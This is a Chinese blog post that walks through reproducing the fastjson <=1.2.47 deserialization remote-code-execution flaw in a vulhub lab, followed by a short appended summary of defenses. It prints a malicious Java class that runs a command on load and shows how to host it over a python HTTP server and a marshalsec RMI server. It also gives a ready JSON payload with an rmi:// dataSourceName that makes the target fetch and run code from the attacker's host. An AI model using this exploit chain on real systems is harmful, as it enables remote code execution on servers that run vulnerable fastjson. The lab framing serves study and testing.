fastjson>=1.2.47反序列化漏洞复现及实际利用

一头雾水地复现了这个漏洞。。。。。

1.环境搭建

用的是vulhub的环境,里面有各种各样的漏洞环境,简单看看说明就知道怎么操作了。
vulhub下载地址:https://github.com/vulhub/vulhub
在虚拟机上搭建好后看具体的说明文件,是访问8090端口:
在这里插入图片描述
ok确认环境已搭建完毕!

2.编译恶意文件

vulhub里面的说明文件就给出了恶意文件的内容:
在这里插入图片描述将这段代码复制出来到文本文件中,设置文件名为TouchFile.java,放在物理机中。

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后在TouchFile.java文件目录下执行命令,编译此文件

javac TouchFile.java

在这里插入图片描述

编译完成后会生成一个后缀为class的文件,把class文件放在公网vps的根目录下
在这里插入图片描述

3.搭建简易的http服务

接下来用python来搭建一个http服务

  • 如果你是python2,使用命令
python -m SimpleHTTPServer 8888
  • 如果是python3,使用命令
python -m http.server 8888

4.用marshalsec开启RMI服务

RMI服务是啥?
远程方法调用(RMI)是一台机器上的程序调用另一台机器上的方法。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.64.1:8888/#TouchFile 9999

接下来就在请求包中添加payload,发送。
完成。。。。这里我没图。。。。

实际检测方法

payload里的关键流程是:
1、目标访问你payload里面写的rmi://域名:9999/TouchFile
2、然后目标根据你开的RMI服务找到对应的web目录
3、访问Web目录,执行命令

如果我们只是要验证是否存在漏洞,只需要看到目标成功访问我们的域名就能证明有漏洞了,所以并不需要开RMI服务。
直接在payload里填上自己的域名,不需加端口,当然随便写一个也行,然后后面一定要随便写个文件名。
请求头添加

Content-Type: application/json;charset=utf-8

paylod

{
  "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
  },
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://自己的域名/TouchFile",
      "autoCommit":true
  }
}

在这里插入图片描述执行后查看dns记录,有了!即可证明漏洞存在。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据提供的引用内容,fastjson反序列化漏洞是一种安全漏洞,攻击者可以利用漏洞在目标系统上执行恶意代码。下面是fastjson反序列化漏洞复现过程[^1][^2]: 1. 判断是否使用Fastjson以及Fastjson版本:首先需要确定目标系统是否使用了Fastjson,并且确定Fastjson的版本号。可以通过查看项目的依赖文件或者代码中的导入语句来确定。 2. 漏洞复现:根据Fastjson的版本号选择相应的漏洞复现方法。 - Fastjson<1.2.24远程代码执行(CNVD-2017-02833):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中插入恶意的Java代码,并通过反序列化操作执行该代码。 - Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238):该漏洞可以通过构造恶意的JSON字符串来触发远程代码执行。攻击者可以在JSON字符串中使用特殊的反射调用方式来执行恶意代码。 3. 防范措施:为了防止fastjson反序列化漏洞利用,可以采取以下措施: - 及时升级Fastjson版本:Fastjson团队会及时修复漏洞并发布新版本,及时升级到最新版本可以避免被已知漏洞攻击。 - 输入验证和过滤:在接收用户输入并进行反序列化操作之前,对输入进行严格的验证和过滤,确保输入的数据符合预期的格式和内容。 - 使用安全的JSON库:考虑使用其他安全性更高的JSON库,如Jackson或Gson,来替代Fastjson
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值